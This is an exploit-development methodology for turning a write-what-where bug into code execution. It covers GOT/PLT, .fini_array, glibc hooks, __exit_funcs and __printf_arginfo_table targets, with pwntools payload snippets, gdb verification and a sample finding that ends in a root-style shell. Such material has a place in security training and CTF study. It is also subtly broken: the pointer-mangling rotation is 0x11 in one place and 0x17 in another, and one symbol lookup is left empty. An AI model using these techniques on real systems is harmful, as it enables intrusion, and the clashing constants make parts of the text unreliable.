--- name: exploiting-arbitrary-write-to-execution description: Methodology for converting an arbitrary-write (write-what-where) or write-anything-anywhere primitive into code execution during authorized engagements, covering target selection among GOT/PLT entries, .fini_array/.dtors, __malloc_hook/__free_hook, the atexit/__exit_funcs handler list, and __printf_arginfo_table, plus how mitigations (Full RELRO, pointer mangling) change which target is viable and how to confirm hijacked control flow. domain: cybersecurity subdomain: binary-exploitation tags: - binary-exploitation - arbitrary-write - exploit-development version: '1.0' author: xalgorix license: Apache-2.0 --- # Exploiting Arbitrary Write to Execution ## When to Use - During authorized binary exploitation when a bug yields a **write-what-where** primitive: format-string `%n`, an OOB array write, a heap metadata corruption (e.g., tcache/fastbin poisoning to return an arbitrary chunk), or a UAF that lets you write a controlled value to a controlled address. - When you control *where* and *what* you write but do **not** yet have direct control of `RIP`/`EIP`, and you need a code pointer to overwrite that the program will later call. - When deciding between targets based on mitigations: Partial vs Full RELRO, presence of `__malloc_hook`/`__free_hook` (removed in glibc >= 2.34), and pointer mangling on `atexit` handlers. - As the bridge step that turns "I can write 8 bytes somewhere" into "the program jumps to my gadget/one_gadget". ## Critical: Concepts/Steps Most Often Missed - **Full RELRO kills the GOT path.** With Full RELRO the GOT is mapped read-only after startup, so `aw2exec-got-plt` fails. Confirm RELRO with `checksec` first and pick a writable target instead (hooks, `__exit_funcs`, `__printf_arginfo_table`, a saved return address, or a function pointer in writable data). - **The hooks are gone in modern glibc.** `__malloc_hook` and `__free_hook` were removed in glibc 2.34. On older targets they are a one-write win (point to a `one_gadget` then trigger `malloc`/`free`). On newer targets you must pivot to alternatives like FSOP (`_IO_FILE` vtable), `__exit_funcs`, or `__printf_arginfo_table`. - **atexit pointers are mangled.** `__exit_funcs` (the `atexit`/`__cxa_atexit` list) stores function pointers encrypted with `PTR_MANGLE` (rotate-left by a known amount and XOR with `fs:[0x30]` `pointer_guard`). You must leak the guard to forge a usable entry, or aim at a different target. - **You must trigger the call.** Overwriting `.fini_array` only fires at clean program exit; `__malloc_hook` needs a subsequent allocation; a GOT entry needs the corresponding library call. If nothing calls your target, nothing happens. - **Alignment and `movaps`.** A `one_gadget`/libc `system` often requires 16-byte stack alignment; the constraints printed by `one_gadget` (e.g., `[rsp+0x40] == NULL`) must hold at call time or it crashes in libc. - **Endianness and partial writes.** Many primitives write byte-by-byte (format string) — order writes from low bytes and watch for clobbering already-written bytes. ### How to CONFIRM Set the write target to a deterministic sentinel first (e.g., overwrite the GOT entry of `puts` with the address of `win`/a `int3`/a known label) and set a breakpoint in `gdb` (pwndbg/gef) on that address. Trigger the call path. If execution **lands at your sentinel** (`$pc` equals the value you wrote, or the breakpoint hits), the write-to-exec conversion is **confirmed**. A write that completes but never reaches your address means you targeted a pointer that is not actually invoked on this path — choose another. ## Workflow ### Step 1: Profile the Binary and Pick a Target ```bash pwn checksec ./vuln # RELRO (Partial/Full), PIE, NX -> decides target viability ``` ```text Partial RELRO -> GOT/PLT overwrite (aw2exec-got-plt) is viable Full RELRO -> use hooks / __exit_funcs / __printf_arginfo_table / function pointers / saved RIP glibc < 2.34 -> __malloc_hook / __free_hook are one-write wins glibc >= 2.34 -> FSOP, __exit_funcs (mangled), .fini_array (if writable), vtable exit() reachable -> .fini_array / .dtors / __exit_funcs ``` ### Step 2: Resolve Addresses (and Leak libc if Needed) ```python from pwn import * context.binary = elf = ELF('./vuln') libc = ELF('./libc.so.6') # GOT/PLT targets (no leak needed if overwriting with a PLT/known address): got_puts = elf.got['puts'] # writable under Partial RELRO # libc internals (need a libc base leak first): # malloc_hook = libc.sym['__malloc_hook'] (glibc < 2.34) # free_hook = libc.sym['__free_hook'] # exit_funcs = libc.sym['__exit_funcs'] ``` If targeting libc internals, obtain a leak (GOT read, format-string `%p`, or an info-leak bug) and compute `libc.address = leaked - libc.sym['']`. ### Step 3: Perform the Arbitrary Write at the Chosen Target ```python # Example A: GOT overwrite (Partial RELRO) -- point strlen/puts GOT at system, then call with "/bin/sh" write_what = libc.sym['system'] write_where = elf.got['strlen'] payload = fmtstr_payload(offset, {write_where: write_what}) # format-string primitive io.sendline(payload) # Example B: __free_hook -> one_gadget (glibc < 2.34) og = libc.address + 0x4f432 # a one_gadget that satisfies its constraints arbitrary_write(libc.sym['__free_hook'], og) # then ensure a free() runs on a chunk holding "/bin/sh" if using system instead # Example C: .fini_array overwrite -> redirect destructor to win()/main on exit (no PIE) arbitrary_write(elf.sym['__fini_array_start'], elf.sym['win']) ``` For `__exit_funcs`/`atexit`, account for `PTR_MANGLE`: ```python # mangled = ROL(ptr ^ pointer_guard, 0x11) (x86-64). Leak pointer_guard (fs:[0x30]) to forge: mangled = rol((target_func ^ pointer_guard) & 0xffffffffffffffff, 0x11, 64) arbitrary_write(exit_funcs_entry_fn, mangled) ``` ### Step 4: Trigger Execution and Verify ```python # Trigger the path that invokes the overwritten pointer: # - GOT: call the hijacked function (e.g., send input that makes the program call strlen/puts) # - hooks: cause a malloc()/free() # - .fini_array/__exit_funcs: let the program exit() cleanly # - __printf_arginfo_table: cause a printf-family call that consults the table io.interactive() # confirm shell / win() output ``` ## Key Concepts | Concept | Description | |---------|-------------| | **Write-what-where** | A primitive that writes an attacker-chosen value to an attacker-chosen address. | | **GOT/PLT overwrite** | Replacing a resolved library-function pointer in the GOT so the next call jumps to your target. | | **.fini_array / .dtors** | Arrays of destructor pointers run at program exit; overwriting one redirects exit-time control. | | **__malloc_hook / __free_hook** | Legacy glibc (<2.34) hook pointers invoked on alloc/free; one write = code exec. | | **__exit_funcs (atexit)** | Linked list of exit handlers; pointers are PTR_MANGLE-encrypted with `pointer_guard`. | | **__printf_arginfo_table** | Table consulted by printf-family for custom specifiers; a writable function-pointer target. | | **PTR_MANGLE / pointer_guard** | ROL+XOR encryption of stored code pointers using `fs:[0x30]`; must be leaked to forge entries. | | **one_gadget** | A single libc address that calls `execve("/bin/sh")` when its register/stack constraints hold. | ## Tools & Systems | Tool | Purpose | |------|---------| | **gdb + pwndbg/GEF** | Breakpoint the target pointer, inspect GOT/hooks/`__exit_funcs`, verify the hijacked call. | | **pwntools** | `ELF`, `ROP`, `fmtstr_payload`, address math, `process`/`remote`, packing helpers. | | **checksec** | Determine RELRO/PIE/NX to decide which write target is viable. | | **one_gadget** | Enumerate single-shot `execve("/bin/sh")` gadgets and their constraints in the target libc. | | **ROPgadget / ropper** | Find gadgets for stack alignment or to chain when a single gadget is not enough. | | **readelf / objdump** | Inspect `.got`, `.fini_array`, `.dtors` sections and symbol addresses. | ## Common Scenarios ### Scenario 1: Format string + Partial RELRO -> GOT overwrite A `printf(user_input)` with no fixed format gives `%n` arbitrary write. With Partial RELRO the GOT is writable; overwrite `strlen@got` (or `puts@got`) with `system`, then trigger a call where the argument is `"/bin/sh"`, yielding a shell. ### Scenario 2: tcache poisoning + glibc 2.31 -> __free_hook A UAF lets you poison the tcache freelist to return a chunk at `__free_hook`. Write a `one_gadget` there, place `"/bin/sh"` in a chunk, and `free()` it so `__free_hook(chunk)` runs `system("/bin/sh")`-equivalent code. ### Scenario 3: Full RELRO -> __exit_funcs forge GOT is read-only, hooks removed. Leak `pointer_guard` (`fs:[0x30]`) via an info leak, mangle a `one_gadget` with `ROL((g ^ guard), 0x17)`, overwrite an `__exit_funcs` entry, then let the program `exit()` to fire it. ### Scenario 4: __printf_arginfo_table redirection On a target that uses custom printf specifiers, overwrite a `__printf_arginfo_table`/`__printf_function_table` entry with a controlled pointer; the next printf-family call that parses the specifier invokes the attacker function. ## Output Format ``` ## Arbitrary-Write-to-Execution Finding **Vulnerability**: Write-what-where converted to code execution (CWE-123) **Severity**: Critical (arbitrary code execution) **Binary**: ./vuln (x86-64, Partial RELRO, NX, No PIE) + libc 2.31 **Primitive**: format-string %n -> arbitrary 8-byte write (offset 6) ### Target Selection & Proof - checksec: Partial RELRO -> GOT writable -> chose strlen@got (0x404038) - Sentinel test: wrote &win (0x401256) to strlen@got; gdb breakpoint at win hit on next call -> control CONFIRMED - Final target: strlen@got overwritten with system@libc (leaked libc base 0x7ffff7a0d000) ### Exploitation Path 1. Leak libc via puts@got read (%p chain) 2. fmtstr_payload(6, {0x404038: libc.sym['system']}) 3. Send input "/bin/sh" so program calls strlen("/bin/sh") -> system("/bin/sh") Result: interactive shell as the target user. ### Impact Arbitrary code execution in the context of the vulnerable process. ### Recommendation 1. Build with Full RELRO (-Wl,-z,relro,-z,now) and PIE to remove writable GOT and randomize layout. 2. Eliminate format-string bugs: never pass user input as a format (use printf("%s", input)). 3. Enable FORTIFY_SOURCE=2, stack canaries, and current glibc (hardened/removed legacy hooks). 4. Add bounds checks on all index/pointer writes to prevent write-what-where primitives. ```